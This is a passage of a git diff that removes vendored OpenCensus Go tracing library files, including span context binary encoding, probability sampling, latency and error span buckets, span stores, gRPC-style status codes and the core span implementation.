representing the version id. -// -// For version_id = 0: -// -// version_format: -// field_format: -// -// Fields: -// -// TraceId: (field_id = 0, len = 16, default = "0000000000000000") - 16-byte array representing the trace_id. -// SpanId: (field_id = 1, len = 8, default = "00000000") - 8-byte array representing the span_id. -// TraceOptions: (field_id = 2, len = 1, default = "0") - 1-byte array representing the trace_options. -// -// Fields MUST be encoded using the field id order (smaller to higher). -// -// Valid value example: -// -// {0, 0, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 1, 97, -// 98, 99, 100, 101, 102, 103, 104, 2, 1} -// -// version_id = 0; -// trace_id = {64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79} -// span_id = {97, 98, 99, 100, 101, 102, 103, 104}; -// trace_options = {1}; - -import ( - "net/http" - - "go.opencensus.io/trace" -) - -// Binary returns the binary format representation of a SpanContext. -// -// If sc is the zero value, Binary returns nil. -func Binary(sc trace.SpanContext) []byte { - if sc == (trace.SpanContext{}) { - return nil - } - var b [29]byte - copy(b[2:18], sc.TraceID[:]) - b[18] = 1 - copy(b[19:27], sc.SpanID[:]) - b[27] = 2 - b[28] = uint8(sc.TraceOptions) - return b[:] -} - -// FromBinary returns the SpanContext represented by b. -// -// If b has an unsupported version ID or contains no TraceID, FromBinary -// returns with ok==false. -func FromBinary(b []byte) (sc trace.SpanContext, ok bool) { - if len(b) == 0 || b[0] != 0 { - return trace.SpanContext{}, false - } - b = b[1:] - if len(b) >= 17 && b[0] == 0 { - copy(sc.TraceID[:], b[1:17]) - b = b[17:] - } else { - return trace.SpanContext{}, false - } - if len(b) >= 9 && b[0] == 1 { - copy(sc.SpanID[:], b[1:9]) - b = b[9:] - } - if len(b) >= 2 && b[0] == 2 { - sc.TraceOptions = trace.TraceOptions(b[1]) - } - return sc, true -} - -// HTTPFormat implementations propagate span contexts -// in HTTP requests. -// -// SpanContextFromRequest extracts a span context from incoming -// requests. -// -// SpanContextToRequest modifies the given request to include the given -// span context. -type HTTPFormat interface { - SpanContextFromRequest(req *http.Request) (sc trace.SpanContext, ok bool) - SpanContextToRequest(sc trace.SpanContext, req *http.Request) -} - -// TODO(jbd): Find a more representative but short name for HTTPFormat. diff --git a/vendor/go.opencensus.io/trace/sampling.go b/vendor/go.opencensus.io/trace/sampling.go deleted file mode 100644 index 71c10f9e3b..0000000000 --- a/vendor/go.opencensus.io/trace/sampling.go +++ /dev/null @@ -1,75 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "encoding/binary" -) - -const defaultSamplingProbability = 1e-4 - -// Sampler decides whether a trace should be sampled and exported. -type Sampler func(SamplingParameters) SamplingDecision - -// SamplingParameters contains the values passed to a Sampler. -type SamplingParameters struct { - ParentContext SpanContext - TraceID TraceID - SpanID SpanID - Name string - HasRemoteParent bool -} - -// SamplingDecision is the value returned by a Sampler. -type SamplingDecision struct { - Sample bool -} - -// ProbabilitySampler returns a Sampler that samples a given fraction of traces. -// -// It also samples spans whose parents are sampled. -func ProbabilitySampler(fraction float64) Sampler { - if !(fraction >= 0) { - fraction = 0 - } else if fraction >= 1 { - return AlwaysSample() - } - - traceIDUpperBound := uint64(fraction * (1 << 63)) - return Sampler(func(p SamplingParameters) SamplingDecision { - if p.ParentContext.IsSampled() { - return SamplingDecision{Sample: true} - } - x := binary.BigEndian.Uint64(p.TraceID[0:8]) >> 1 - return SamplingDecision{Sample: x < traceIDUpperBound} - }) -} - -// AlwaysSample returns a Sampler that samples every trace. -// Be careful about using this sampler in a production application with -// significant traffic: a new trace will be started and exported for every -// request. -func AlwaysSample() Sampler { - return func(p SamplingParameters) SamplingDecision { - return SamplingDecision{Sample: true} - } -} - -// NeverSample returns a Sampler that samples no traces. -func NeverSample() Sampler { - return func(p SamplingParameters) SamplingDecision { - return SamplingDecision{Sample: false} - } -} diff --git a/vendor/go.opencensus.io/trace/spanbucket.go b/vendor/go.opencensus.io/trace/spanbucket.go deleted file mode 100644 index fbabad34c0..0000000000 --- a/vendor/go.opencensus.io/trace/spanbucket.go +++ /dev/null @@ -1,130 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "time" -) - -// samplePeriod is the minimum time between accepting spans in a single bucket. -const samplePeriod = time.Second - -// defaultLatencies contains the default latency bucket bounds. -// TODO: consider defaults, make configurable -var defaultLatencies = [...]time.Duration{ - 10 * time.Microsecond, - 100 * time.Microsecond, - time.Millisecond, - 10 * time.Millisecond, - 100 * time.Millisecond, - time.Second, - 10 * time.Second, - time.Minute, -} - -// bucket is a container for a set of spans for a particular error code or latency range. -type bucket struct { - nextTime time.Time // next time we can accept a span - buffer []*SpanData // circular buffer of spans - nextIndex int // location next SpanData should be placed in buffer - overflow bool // whether the circular buffer has wrapped around -} - -func makeBucket(bufferSize int) bucket { - return bucket{ - buffer: make([]*SpanData, bufferSize), - } -} - -// add adds a span to the bucket, if nextTime has been reached. -func (b *bucket) add(s *SpanData) { - if s.EndTime.Before(b.nextTime) { - return - } - if len(b.buffer) == 0 { - return - } - b.nextTime = s.EndTime.Add(samplePeriod) - b.buffer[b.nextIndex] = s - b.nextIndex++ - if b.nextIndex == len(b.buffer) { - b.nextIndex = 0 - b.overflow = true - } -} - -// size returns the number of spans in the bucket. -func (b *bucket) size() int { - if b.overflow { - return len(b.buffer) - } - return b.nextIndex -} - -// span returns the ith span in the bucket. -func (b *bucket) span(i int) *SpanData { - if !b.overflow { - return b.buffer[i] - } - if i < len(b.buffer)-b.nextIndex { - return b.buffer[b.nextIndex+i] - } - return b.buffer[b.nextIndex+i-len(b.buffer)] -} - -// resize changes the size of the bucket to n, keeping up to n existing spans. -func (b *bucket) resize(n int) { - cur := b.size() - newBuffer := make([]*SpanData, n) - if cur < n { - for i := 0; i < cur; i++ { - newBuffer[i] = b.span(i) - } - b.buffer = newBuffer - b.nextIndex = cur - b.overflow = false - return - } - for i := 0; i < n; i++ { - newBuffer[i] = b.span(i + cur - n) - } - b.buffer = newBuffer - b.nextIndex = 0 - b.overflow = true -} - -// latencyBucket returns the appropriate bucket number for a given latency. -func latencyBucket(latency time.Duration) int { - i := 0 - for i < len(defaultLatencies) && latency >= defaultLatencies[i] { - i++ - } - return i -} - -// latencyBucketBounds returns the lower and upper bounds for a latency bucket -// number. -// -// The lower bound is inclusive, the upper bound is exclusive (except for the -// last bucket.) -func latencyBucketBounds(index int) (lower time.Duration, upper time.Duration) { - if index == 0 { - return 0, defaultLatencies[index] - } - if index == len(defaultLatencies) { - return defaultLatencies[index-1], 1<<63 - 1 - } - return defaultLatencies[index-1], defaultLatencies[index] -} diff --git a/vendor/go.opencensus.io/trace/spanstore.go b/vendor/go.opencensus.io/trace/spanstore.go deleted file mode 100644 index c442d99021..0000000000 --- a/vendor/go.opencensus.io/trace/spanstore.go +++ /dev/null @@ -1,306 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "sync" - "time" - - "go.opencensus.io/internal" -) - -const ( - maxBucketSize = 100000 - defaultBucketSize = 10 -) - -var ( - ssmu sync.RWMutex // protects spanStores - spanStores = make(map[string]*spanStore) -) - -// This exists purely to avoid exposing internal methods used by z-Pages externally. -type internalOnly struct{} - -func init() { - //TODO(#412): remove - internal.Trace = &internalOnly{} -} - -// ReportActiveSpans returns the active spans for the given name. -func (i internalOnly) ReportActiveSpans(name string) []*SpanData { - s := spanStoreForName(name) - if s == nil { - return nil - } - var out []*SpanData - s.mu.Lock() - defer s.mu.Unlock() - for span := range s.active { - out = append(out, span.makeSpanData()) - } - return out -} - -// ReportSpansByError returns a sample of error spans. -// -// If code is nonzero, only spans with that status code are returned. -func (i internalOnly) ReportSpansByError(name string, code int32) []*SpanData { - s := spanStoreForName(name) - if s == nil { - return nil - } - var out []*SpanData - s.mu.Lock() - defer s.mu.Unlock() - if code != 0 { - if b, ok := s.errors[code]; ok { - for _, sd := range b.buffer { - if sd == nil { - break - } - out = append(out, sd) - } - } - } else { - for _, b := range s.errors { - for _, sd := range b.buffer { - if sd == nil { - break - } - out = append(out, sd) - } - } - } - return out -} - -// ConfigureBucketSizes sets the number of spans to keep per latency and error -// bucket for different span names. -func (i internalOnly) ConfigureBucketSizes(bcs []internal.BucketConfiguration) { - for _, bc := range bcs { - latencyBucketSize := bc.MaxRequestsSucceeded - if latencyBucketSize < 0 { - latencyBucketSize = 0 - } - if latencyBucketSize > maxBucketSize { - latencyBucketSize = maxBucketSize - } - errorBucketSize := bc.MaxRequestsErrors - if errorBucketSize < 0 { - errorBucketSize = 0 - } - if errorBucketSize > maxBucketSize { - errorBucketSize = maxBucketSize - } - spanStoreSetSize(bc.Name, latencyBucketSize, errorBucketSize) - } -} - -// ReportSpansPerMethod returns a summary of what spans are being stored for each span name. -func (i internalOnly) ReportSpansPerMethod() map[string]internal.PerMethodSummary { - out := make(map[string]internal.PerMethodSummary) - ssmu.RLock() - defer ssmu.RUnlock() - for name, s := range spanStores { - s.mu.Lock() - p := internal.PerMethodSummary{ - Active: len(s.active), - } - for code, b := range s.errors { - p.ErrorBuckets = append(p.ErrorBuckets, internal.ErrorBucketSummary{ - ErrorCode: code, - Size: b.size(), - }) - } - for i, b := range s.latency { - min, max := latencyBucketBounds(i) - p.LatencyBuckets = append(p.LatencyBuckets, internal.LatencyBucketSummary{ - MinLatency: min, - MaxLatency: max, - Size: b.size(), - }) - } - s.mu.Unlock() - out[name] = p - } - return out -} - -// ReportSpansByLatency returns a sample of successful spans. -// -// minLatency is the minimum latency of spans to be returned. -// maxLatency, if nonzero, is the maximum latency of spans to be returned. -func (i internalOnly) ReportSpansByLatency(name string, minLatency, maxLatency time.Duration) []*SpanData { - s := spanStoreForName(name) - if s == nil { - return nil - } - var out []*SpanData - s.mu.Lock() - defer s.mu.Unlock() - for i, b := range s.latency { - min, max := latencyBucketBounds(i) - if i+1 != len(s.latency) && max <= minLatency { - continue - } - if maxLatency != 0 && maxLatency < min { - continue - } - for _, sd := range b.buffer { - if sd == nil { - break - } - if minLatency != 0 || maxLatency != 0 { - d := sd.EndTime.Sub(sd.StartTime) - if d < minLatency { - continue - } - if maxLatency != 0 && d > maxLatency { - continue - } - } - out = append(out, sd) - } - } - return out -} - -// spanStore keeps track of spans stored for a particular span name. -// -// It contains all active spans; a sample of spans for failed requests, -// categorized by error code; and a sample of spans for successful requests, -// bucketed by latency. -type spanStore struct { - mu sync.Mutex // protects everything below. - active map[*Span]struct{} - errors map[int32]*bucket - latency []bucket - maxSpansPerErrorBucket int -} - -// newSpanStore creates a span store. -func newSpanStore(name string, latencyBucketSize int, errorBucketSize int) *spanStore { - s := &spanStore{ - active: make(map[*Span]struct{}), - latency: make([]bucket, len(defaultLatencies)+1), - maxSpansPerErrorBucket: errorBucketSize, - } - for i := range s.latency { - s.latency[i] = makeBucket(latencyBucketSize) - } - return s -} - -// spanStoreForName returns the spanStore for the given name. -// -// It returns nil if it doesn't exist. -func spanStoreForName(name string) *spanStore { - var s *spanStore - ssmu.RLock() - s, _ = spanStores[name] - ssmu.RUnlock() - return s -} - -// spanStoreForNameCreateIfNew returns the spanStore for the given name. -// -// It creates it if it didn't exist. -func spanStoreForNameCreateIfNew(name string) *spanStore { - ssmu.RLock() - s, ok := spanStores[name] - ssmu.RUnlock() - if ok { - return s - } - ssmu.Lock() - defer ssmu.Unlock() - s, ok = spanStores[name] - if ok { - return s - } - s = newSpanStore(name, defaultBucketSize, defaultBucketSize) - spanStores[name] = s - return s -} - -// spanStoreSetSize resizes the spanStore for the given name. -// -// It creates it if it didn't exist. -func spanStoreSetSize(name string, latencyBucketSize int, errorBucketSize int) { - ssmu.RLock() - s, ok := spanStores[name] - ssmu.RUnlock() - if ok { - s.resize(latencyBucketSize, errorBucketSize) - return - } - ssmu.Lock() - defer ssmu.Unlock() - s, ok = spanStores[name] - if ok { - s.resize(latencyBucketSize, errorBucketSize) - return - } - s = newSpanStore(name, latencyBucketSize, errorBucketSize) - spanStores[name] = s -} - -func (s *spanStore) resize(latencyBucketSize int, errorBucketSize int) { - s.mu.Lock() - for i := range s.latency { - s.latency[i].resize(latencyBucketSize) - } - for _, b := range s.errors { - b.resize(errorBucketSize) - } - s.maxSpansPerErrorBucket = errorBucketSize - s.mu.Unlock() -} - -// add adds a span to the active bucket of the spanStore. -func (s *spanStore) add(span *Span) { - s.mu.Lock() - s.active[span] = struct{}{} - s.mu.Unlock() -} - -// finished removes a span from the active set, and adds a corresponding -// SpanData to a latency or error bucket. -func (s *spanStore) finished(span *Span, sd *SpanData) { - latency := sd.EndTime.Sub(sd.StartTime) - if latency < 0 { - latency = 0 - } - code := sd.Status.Code - - s.mu.Lock() - delete(s.active, span) - if code == 0 { - s.latency[latencyBucket(latency)].add(sd) - } else { - if s.errors == nil { - s.errors = make(map[int32]*bucket) - } - if b := s.errors[code]; b != nil { - b.add(sd) - } else { - b := makeBucket(s.maxSpansPerErrorBucket) - s.errors[code] = &b - b.add(sd) - } - } - s.mu.Unlock() -} diff --git a/vendor/go.opencensus.io/trace/status_codes.go b/vendor/go.opencensus.io/trace/status_codes.go deleted file mode 100644 index ec60effd10..0000000000 --- a/vendor/go.opencensus.io/trace/status_codes.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -// Status codes for use with Span.SetStatus. These correspond to the status -// codes used by gRPC defined here: https://github.com/googleapis/googleapis/blob/master/google/rpc/code.proto -const ( - StatusCodeOK = 0 - StatusCodeCancelled = 1 - StatusCodeUnknown = 2 - StatusCodeInvalidArgument = 3 - StatusCodeDeadlineExceeded = 4 - StatusCodeNotFound = 5 - StatusCodeAlreadyExists = 6 - StatusCodePermissionDenied = 7 - StatusCodeResourceExhausted = 8 - StatusCodeFailedPrecondition = 9 - StatusCodeAborted = 10 - StatusCodeOutOfRange = 11 - StatusCodeUnimplemented = 12 - StatusCodeInternal = 13 - StatusCodeUnavailable = 14 - StatusCodeDataLoss = 15 - StatusCodeUnauthenticated = 16 -) diff --git a/vendor/go.opencensus.io/trace/trace.go b/vendor/go.opencensus.io/trace/trace.go deleted file mode 100644 index 38ead7bf0a..0000000000 --- a/vendor/go.opencensus.io/trace/trace.go +++ /dev/null @@ -1,598 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "context" - crand "crypto/rand" - "encoding/binary" - "fmt" - "math/rand" - "sync" - "sync/atomic" - "time" - - "go.opencensus.io/internal" - "go.opencensus.io/trace/tracestate" -) - -// Span represents a span of a trace. It has an associated SpanContext, and -// stores data accumulated while the span is active. -// -// Ideally users should interact with Spans by calling the functions in this -// package that take a Context parameter. -type Span struct { - // data contains information recorded about the span. - // - // It will be non-nil if we are exporting the span or recording events for it. - // Otherwise, data is nil, and the Span is simply a carrier for the - // SpanContext, so that the trace ID is propagated. - data *SpanData - mu sync.Mutex // protects the contents of *data (but not the pointer value.) - spanContext SpanContext - - // lruAttributes are capped at configured limit. When the capacity is reached an oldest entry - // is removed to create room for a new entry. - lruAttributes *lruMap - - // annotations are stored in FIFO queue capped by configured limit. - annotations *evictedQueue - - // messageEvents are stored in FIFO queue capped by configured limit. - messageEvents *evictedQueue - - // links are stored in FIFO queue capped by configured limit. - links *evictedQueue - - // spanStore is the spanStore this span belongs to, if any, otherwise it is nil. - *spanStore - endOnce sync.Once - - executionTracerTaskEnd func() // ends the execution tracer span -} - -// IsRecordingEvents returns true if events are being recorded for this span. -// Use this check to avoid computing expensive annotations when they will never -// be used. -func (s *Span) IsRecordingEvents() bool { - if s == nil { - return false - } - return s.data != nil -} - -// TraceOptions contains options associated with a trace span. -type TraceOptions uint32 - -// IsSampled returns true if the span will be exported. -func (sc SpanContext) IsSampled() bool { - return sc.TraceOptions.IsSampled() -} - -// setIsSampled sets the TraceOptions bit that determines whether the span will be exported. -func (sc *SpanContext) setIsSampled(sampled bool) { - if sampled { - sc.TraceOptions |= 1 - } else { - sc.TraceOptions &= ^TraceOptions(1) - } -} - -// IsSampled returns true if the span will be exported. -func (t TraceOptions) IsSampled() bool { - return t&1 == 1 -} - -// SpanContext contains the state that must propagate across process boundaries. -// -// SpanContext is not an implementation of context.Context. -// TODO: add reference to external Census docs for SpanContext. -type SpanContext struct { - TraceID TraceID - SpanID SpanID - TraceOptions TraceOptions - Tracestate *tracestate.Tracestate -} - -type contextKey struct{} - -// FromContext returns the Span stored in a context, or nil if there isn't one. -func FromContext(ctx context.Context) *Span { - s, _ := ctx.Value(contextKey{}).(*Span) - return s -} - -// NewContext returns a new context with the given Span attached. -func NewContext(parent context.Context, s *Span) context.Context { - return context.WithValue(parent, contextKey{}, s) -} - -// All available span kinds. Span kind must be either one of these values. -const ( - SpanKindUnspecified = iota - SpanKindServer - SpanKindClient -) - -// StartOptions contains options concerning how a span is started. -type StartOptions struct { - // Sampler to consult for this Span. If provided, it is always consulted. - // - // If not provided, then the behavior differs based on whether - // the parent of this Span is remote, local, or there is no parent. - // In the case of a remote parent or no parent, the - // default sampler (see Config) will be consulted. Otherwise, - // when there is a non-remote parent, no new sampling decision will be made: - // we will preserve the sampling of the parent. - Sampler Sampler - - // SpanKind represents the kind of a span. If none is set, - // SpanKindUnspecified is used. - SpanKind int -} - -// StartOption apply changes to StartOptions. -type StartOption func(*StartOptions) - -// WithSpanKind makes new spans to be created with the given kind. -func WithSpanKind(spanKind int) StartOption { - return func(o *StartOptions) { - o.SpanKind = spanKind - } -} - -// WithSampler makes new spans to be be created with a custom sampler. -// Otherwise, the global sampler is used. -func WithSampler(sampler Sampler) StartOption { - return func(o *StartOptions) { - o.Sampler = sampler - } -} - -// StartSpan starts a new child span of the current span in the context. If -// there is no span in the context, creates a new trace and span. -// -// Returned context contains the newly created span. You can use it to -// propagate the returned span in process. -func StartSpan(ctx context.Context, name string, o ...StartOption) (context.Context, *Span) { - var opts StartOptions - var parent SpanContext - if p := FromContext(ctx); p != nil { - p.addChild() - parent = p.spanContext - } - for _, op := range o { - op(&opts) - } - span := startSpanInternal(name, parent != SpanContext{}, parent, false, opts) - - ctx, end := startExecutionTracerTask(ctx, name) - span.executionTracerTaskEnd = end - return NewContext(ctx, span), span -} - -// StartSpanWithRemoteParent starts a new child span of the span from the given parent. -// -// If the incoming context contains a parent, it ignores. StartSpanWithRemoteParent is -// preferred for cases where the parent is propagated via an incoming request. -// -// Returned context contains the newly created span. You can use it to -// propagate the returned span in process. -func StartSpanWithRemoteParent(ctx context.Context, name string, parent SpanContext, o ...StartOption) (context.Context, *Span) { - var opts StartOptions - for _, op := range o { - op(&opts) - } - span := startSpanInternal(name, parent != SpanContext{}, parent, true, opts) - ctx, end := startExecutionTracerTask(ctx, name) - span.executionTracerTaskEnd = end - return NewContext(ctx, span), span -} - -func startSpanInternal(name string, hasParent bool, parent SpanContext, remoteParent bool, o StartOptions) *Span { - span := &Span{} - span.spanContext = parent - - cfg := config.Load().(*Config) - - if !hasParent { - span.spanContext.TraceID = cfg.IDGenerator.NewTraceID() - } - span.spanContext.SpanID = cfg.IDGenerator.NewSpanID() - sampler := cfg.DefaultSampler - - if !hasParent || remoteParent || o.Sampler != nil { - // If this span is the child of a local span and no Sampler is set in the - // options, keep the parent's TraceOptions. - // - // Otherwise, consult the Sampler in the options if it is non-nil, otherwise - // the default sampler. - if o.Sampler != nil { - sampler = o.Sampler - } - span.spanContext.setIsSampled(sampler(SamplingParameters{ - ParentContext: parent, - TraceID: span.spanContext.TraceID, - SpanID: span.spanContext.SpanID, - Name: name, - HasRemoteParent: remoteParent}).Sample) - } - - if !internal.LocalSpanStoreEnabled && !span.spanContext.IsSampled() { - return span - } - - span.data = &SpanData{ - SpanContext: span.spanContext, - StartTime: time.Now(), - SpanKind: o.SpanKind, - Name: name, - HasRemoteParent: remoteParent, - } - span.lruAttributes = newLruMap(cfg.MaxAttributesPerSpan) - span.annotations = newEvictedQueue(cfg.MaxAnnotationEventsPerSpan) - span.messageEvents = newEvictedQueue(cfg.MaxMessageEventsPerSpan) - span.links = newEvictedQueue(cfg.MaxLinksPerSpan) - - if hasParent { - span.data.ParentSpanID = parent.SpanID - } - if internal.LocalSpanStoreEnabled { - var ss *spanStore - ss = spanStoreForNameCreateIfNew(name) - if ss != nil { - span.spanStore = ss - ss.add(span) - } - } - - return span -} - -// End ends the span. -func (s *Span) End() { - if s == nil { - return - } - if s.executionTracerTaskEnd != nil { - s.executionTracerTaskEnd() - } - if !s.IsRecordingEvents() { - return - } - s.endOnce.Do(func() { - exp, _ := exporters.Load().(exportersMap) - mustExport := s.spanContext.IsSampled() && len(exp) > 0 - if s.spanStore != nil || mustExport { - sd := s.makeSpanData() - sd.EndTime = internal.MonotonicEndTime(sd.StartTime) - if s.spanStore != nil { - s.spanStore.finished(s, sd) - } - if mustExport { - for e := range exp { - e.ExportSpan(sd) - } - } - } - }) -} - -// makeSpanData produces a SpanData representing the current state of the Span. -// It requires that s.data is non-nil. -func (s *Span) makeSpanData() *SpanData { - var sd SpanData - s.mu.Lock() - sd = *s.data - if s.lruAttributes.simpleLruMap.Len() > 0 { - sd.Attributes = s.lruAttributesToAttributeMap() - sd.DroppedAttributeCount = s.lruAttributes.droppedCount - } - if len(s.annotations.queue) > 0 { - sd.Annotations = s.interfaceArrayToAnnotationArray() - sd.DroppedAnnotationCount = s.annotations.droppedCount - } - if len(s.messageEvents.queue) > 0 { - sd.MessageEvents = s.interfaceArrayToMessageEventArray() - sd.DroppedMessageEventCount = s.messageEvents.droppedCount - } - if len(s.links.queue) > 0 { - sd.Links = s.interfaceArrayToLinksArray() - sd.DroppedLinkCount = s.links.droppedCount - } - s.mu.Unlock() - return &sd -} - -// SpanContext returns the SpanContext of the span. -func (s *Span) SpanContext() SpanContext { - if s == nil { - return SpanContext{} - } - return s.spanContext -} - -// SetName sets the name of the span, if it is recording events. -func (s *Span) SetName(name string) { - if !s.IsRecordingEvents() { - return - } - s.mu.Lock() - s.data.Name = name - s.mu.Unlock() -} - -// SetStatus sets the status of the span, if it is recording events. -func (s *Span) SetStatus(status Status) { - if !s.IsRecordingEvents() { - return - } - s.mu.Lock() - s.data.Status = status - s.mu.Unlock() -} - -func (s *Span) interfaceArrayToLinksArray() []Link { - linksArr := make([]Link, 0) - for _, value := range s.links.queue { - linksArr = append(linksArr, value.(Link)) - } - return linksArr -} - -func (s *Span) interfaceArrayToMessageEventArray() []MessageEvent { - messageEventArr := make([]MessageEvent, 0) - for _, value := range s.messageEvents.queue { - messageEventArr = append(messageEventArr, value.(MessageEvent)) - } - return messageEventArr -} - -func (s *Span) interfaceArrayToAnnotationArray() []Annotation { - annotationArr := make([]Annotation, 0) - for _, value := range s.annotations.queue { - annotationArr = append(annotationArr, value.(Annotation)) - } - return annotationArr -} - -func (s *Span) lruAttributesToAttributeMap() map[string]interface{} { - attributes := make(map[string]interface{}) - for _, key := range s.lruAttributes.simpleLruMap.Keys() { - value, ok := s.lruAttributes.simpleLruMap.Get(key) - if ok { - keyStr := key.(string) - attributes[keyStr] = value - } - } - return attributes -} - -func (s *Span) copyToCappedAttributes(attributes []Attribute) { - for _, a := range attributes { - s.lruAttributes.add(a.key, a.value) - } -} - -func (s *Span) addChild() { - if !s.IsRecordingEvents() { - return - } - s.mu.Lock() - s.data.ChildSpanCount++ - s.mu.Unlock() -} - -// AddAttributes sets attributes in the span. -// -// Existing attributes whose keys appear in the attributes parameter are overwritten. -func (s *Span) AddAttributes(attributes ...Attribute) { - if !s.IsRecordingEvents() { - return - } - s.mu.Lock() - s.copyToCappedAttributes(attributes) - s.mu.Unlock() -} - -// copyAttributes copies a slice of Attributes into a map. -func copyAttributes(m map[string]interface{}, attributes []Attribute) { - for _, a := range attributes { - m[a.key] = a.value - } -} - -func (s *Span) lazyPrintfInternal(attributes []Attribute, format string, a ...interface{}) { - now := time.Now() - msg := fmt.Sprintf(format, a...) - var m map[string]interface{} - s.mu.Lock() - if len(attributes) != 0 { - m = make(map[string]interface{}) - copyAttributes(m, attributes) - } - s.annotations.add(Annotation{ - Time: now, - Message: msg, - Attributes: m, - }) - s.mu.Unlock() -} - -func (s *Span) printStringInternal(attributes []Attribute, str string) { - now := time.Now() - var a map[string]interface{} - s.mu.Lock() - if len(attributes) != 0 { - a = make(map[string]interface{}) - copyAttributes(a, attributes) - } - s.annotations.add(Annotation{ - Time: now, - Message: str, - Attributes: a, - }) - s.mu.Unlock() -} - -// Annotate adds an annotation with attributes. -// Attributes can be nil. -func (s *Span) Annotate(attributes []Attribute, str string) { - if !s.IsRecordingEvents() { - return - } - s.printStringInternal(attributes, str) -} - -// Annotatef adds an annotation with attributes. -func (s *Span) Annotatef(attributes []Attribute, format string, a ...interface{}) { - if !s.IsRecordingEvents() { - return - } - s.lazyPrintfInternal(attributes, format, a...) -} - -// AddMessageSendEvent adds a message send event to the span. -// -// messageID is an identifier for the message, which is recommended to be -// unique in this span and the same between the send event and the receive -// event (this allows to identify a message between the sender and receiver). -// For example, this could be a sequence id. -func (s *Span) AddMessageSendEvent(messageID, uncompressedByteSize, compressedByteSize int64) { - if !s.IsRecordingEvents() { - return - } - now := time.Now() - s.mu.Lock() - s.messageEvents.add(MessageEvent{ - Time: now, - EventType: MessageEventTypeSent, - MessageID: messageID, - UncompressedByteSize: uncompressedByteSize, - CompressedByteSize: compressedByteSize, - }) - s.mu.Unlock() -} - -// AddMessageReceiveEvent adds a message receive event to the span. -// -// messageID is an identifier for the message, which is recommended to be -// unique in this span and the same between the send event and the receive -// event (this allows to identify a message between the sender and receiver). -// For example, this could be a sequence id. -func (s *Span) AddMessageReceiveEvent(messageID, uncompressedByteSize, compressedByteSize int64) { - if !s.IsRecordingEvents() { - return - } - now := time.Now() - s.mu.Lock() - s.messageEvents.add(MessageEvent{ - Time: now, - EventType: MessageEventTypeRecv, - MessageID: messageID, - UncompressedByteSize: uncompressedByteSize, - CompressedByteSize: compressedByteSize, - }) - s.mu.Unlock() -} - -// AddLink adds a link to the span. -func (s *Span) AddLink(l Link) { - if !s.IsRecordingEvents() { - return - } - s.mu.Lock() - s.links.add(l) - s.mu.Unlock() -} - -func (s *Span) String() string { - if s == nil { - return "" - } - if s.data == nil { - return fmt.Sprintf("span %s", s.spanContext.SpanID) - } - s.mu.Lock() - str := fmt.Sprintf("span %s %q", s.spanContext.SpanID, s.data.Name) - s.mu.Unlock() - return str -} - -var config atomic.Value // access atomically - -func init() { - gen := &defaultIDGenerator{} - // initialize traceID and spanID generators. - var rngSeed int64 - for _, p := range []interface{}{ - &rngSeed, &gen.traceIDAdd, &gen.nextSpanID, &gen.spanIDInc, - } { - binary.Read(crand.Reader, binary.LittleEndian, p) - } - gen.traceIDRand = rand.New(rand.NewSource(rngSeed)) - gen.spanIDInc |= 1 - - config.Store(&Config{ - DefaultSampler: ProbabilitySampler(defaultSamplingProbability), - IDGenerator: gen, - MaxAttributesPerSpan: DefaultMaxAttributesPerSpan, - MaxAnnotationEventsPerSpan: DefaultMaxAnnotationEventsPerSpan, - MaxMessageEventsPerSpan: DefaultMaxMessageEventsPerSpan, - MaxLinksPerSpan: DefaultMaxLinksPerSpan, - }) -} - -type defaultIDGenerator struct { - sync.Mutex - - // Please keep these as the first fields - // so that these 8 byte fields will be aligned on addresses - // divisible by 8, on both 32-bit and 64-bit machines when - // performing atomic increments and accesses. - // See: - // * https://github.com/census-instrumentation/opencensus-go/issues/587 - // * https://github.com/census-instrumentation/opencensus-go/issues/865 - // * https://golang.org/pkg/sync/atomic/#pkg-note-BUG - nextSpanID uint64 - spanIDInc uint64 - - traceIDAdd [2]uint64 - traceIDRand *rand.Rand -} - -// NewSpanID returns a non-zero span ID from a randomly-chosen sequence. -func (gen *defaultIDGenerator) NewSpanID() [8]byte { - var id uint64 - for id == 0 { - id = atomic.AddUint64(&gen.nextSpanID, gen.spanIDInc) - } - var 